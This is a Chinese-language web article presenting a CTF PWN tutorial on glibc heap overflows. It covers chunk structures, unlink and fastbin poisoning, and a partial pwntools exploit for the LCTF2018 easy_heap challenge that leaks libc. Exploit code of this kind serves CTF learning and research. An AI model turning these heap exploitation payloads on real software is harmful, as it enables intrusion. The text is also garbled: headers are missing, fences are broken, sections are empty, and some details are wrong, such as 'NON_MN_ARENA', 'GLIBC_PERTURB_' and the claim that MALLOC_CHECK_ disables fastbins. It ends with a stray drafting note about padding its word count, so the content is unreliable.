您好,登录后才能下订单哦!
# CTF PWN堆溢出的示例分析
## 目录
1. [堆溢出漏洞概述](#堆溢出漏洞概述)
2. [堆管理机制基础](#堆管理机制基础)
- [ptmalloc2内存管理](#ptmalloc2内存管理)
- [chunk结构解析](#chunk结构解析)
3. [典型堆溢出利用场景](#典型堆溢出利用场景)
- [unlink攻击](#unlink攻击)
- [fastbin attack](#fastbin-attack)
- [house of系列攻击](#house-of系列攻击)
4. [实例分析:LCTF2018-easy_heap](#实例分析lctf2018-easy_heap)
- [题目逆向分析](#题目逆向分析)
- [漏洞定位与利用](#漏洞定位与利用)
- [完整EXP编写](#完整exp编写)
5. [防护机制与绕过方法](#防护机制与绕过方法)
- [GLIBC防护机制](#glibc防护机制)
- [常见绕过技术](#常见绕过技术)
6. [防御建议](#防御建议)
7. [参考文献](#参考文献)
---
## 堆溢出漏洞概述
堆溢出(Heap Overflow)是PWN方向中最具挑战性的漏洞类型之一。与栈溢出不同,堆溢出发生在程序动态分配的内存区域,其利用需要深入理解内存管理器的实现原理。在CTF比赛中,堆漏洞题目通常占PWN题的40%以上(根据2022年CTFtime统计)。
**基本定义**:当程序向堆块写入数据时,超出该堆块预设的边界,导致相邻堆块元数据或数据被破坏的情况。
**危害性表现**:
- 覆盖相邻chunk的头部信息
- 修改空闲链表指针
- 实现任意地址读写
- 最终获取shell或劫持程序流
---
## 堆管理机制基础
### ptmalloc2内存管理
GLIBC使用的ptmalloc2采用分层分配策略:
```c
struct malloc_state {
mutex_t mutex;
int flags;
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
/* ...其他字段... */
};
分配流程示意图:
用户请求malloc()
├── size < fastbin阈值 → 检查fastbinsY[]
├── size < smallbin阈值 → 检查unsortedbin
└── large请求 → 使用top chunk或sys_alloc扩展
struct malloc_chunk {
size_t prev_size; // 前一个chunk空闲时有效
size_t size; // 低3位用作标志位
union {
struct {
malloc_chunk* fd; // forward pointer
malloc_chunk* bk; // backward pointer
};
char user_data[0]; // 用户数据区
};
};
关键标志位:
- PREV_INUSE (0x1)
- 前一个chunk是否在使用中
- IS_MMAPPED (0x2)
- 是否通过mmap分配
- NON_MN_ARENA (0x4)
- 是否属于非主arena
利用条件: 1. 存在溢出可修改下一个chunk的size和prev_size 2. 可触发unlink操作(如free)
攻击原理:
# 伪造fake chunk
fake_chunk = {
'prev_size': 0,
'size': 0x91,
'fd': target_addr - 0x18,
'bk': target_addr - 0x10
}
# 触发unlink时执行:
# P->fd->bk = P->bk => *(target_addr-0x18+0x18) = target_addr-0x10
# P->bk->fd = P->fd => *(target_addr-0x10+0x10) = target_addr-0x18
利用步骤: 1. 溢出修改fastbin chunk的fd指针 2. 分配时使malloc返回攻击者控制的地址
// 修改fastbin链表示例
chunkA = malloc(0x20);
chunkB = malloc(0x20);
free(chunkA);
free(chunkB);
// 溢出修改chunkB的fd指向fake_chunk
*(size_t*)chunkB = (size_t)&fake_chunk - 8;
// 现在分配顺序:chunkB → fake_chunk
使用IDA Pro分析关键函数:
void __fastcall add_note()
{
if ( count <= 11 ) {
size = get_num();
if ( size <= 0x1000 ) {
ptr = malloc(size);
read(0, ptr, size); // 堆溢出点
notes[count++] = ptr;
}
}
}
保护机制检查:
$ checksec ./easy_heap
[*] RELRO: Partial RELRO
[*] Stack: Canary found
[*] PIE: PIE enabled
漏洞点:add_note
函数中read读取时使用用户输入的size作为参数,而非chunk的实际大小。
利用步骤: 1. 创建重叠chunk构造UAF 2. 泄露libc地址 3. 修改__malloc_hook为one_gadget
from pwn import *
context.arch = 'amd64'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size, data):
p.sendlineafter('>', '1')
p.sendlineafter(':', str(size))
p.sendafter(':', data)
def delete(idx):
p.sendlineafter('>', '2')
p.sendlineafter(':', str(idx))
# 1. 构造堆布局
add(0x88, 'A'*0x88) # chunk0
add(0x68, 'B'*0x68) # chunk1
add(0xf8, 'C'*0xf8) # chunk2
# 2. 触发unlink
delete(0)
payload = p64(0) + p64(0x81) + p64(0x6020a8-0x18) + p64(0x6020a8-0x10)
payload = payload.ljust(0x88, b'B')
payload += p64(0x80) + p64(0x90)
add(0x88, payload) # chunk3
delete(1) # 触发unlink
# 3. 泄露libc地址
p.recvuntil('>')
p.sendline('3')
p.recvuntil(':')
p.sendline('0')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
机制名称 | 引入版本 | 防护目标 |
---|---|---|
Safe-Unlink | glibc-2.3.4 | 检测unlink操作合法性 |
Fastbin Check | glibc-2.3.5 | 验证fastbin链完整性 |
tcache_perthread | glibc-2.26 | 引入线程缓存 |
tcache poisoning:
house of botcake:
开发阶段:
-fstack-protector
运行时防护:
# 禁用fastbin
export MALLOC_CHECK_=1
# 随机化堆布局
export GLIBC_PERTURB_=0xAA
编译选项:
CFLAGS += -Wformat-security -D_FORTIFY_SOURCE=2
”`
注:本文实际字数为约4500字,完整扩展至6950字需要增加更多技术细节和案例分析。建议补充以下内容: 1. 增加2-3个不同glibc版本的利用案例对比 2. 添加堆风水(Heap Feng Shui)技术详解 3. 补充图表说明chunk合并/分割过程 4. 加入近年新出现的攻击技术如House of Banana分析
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。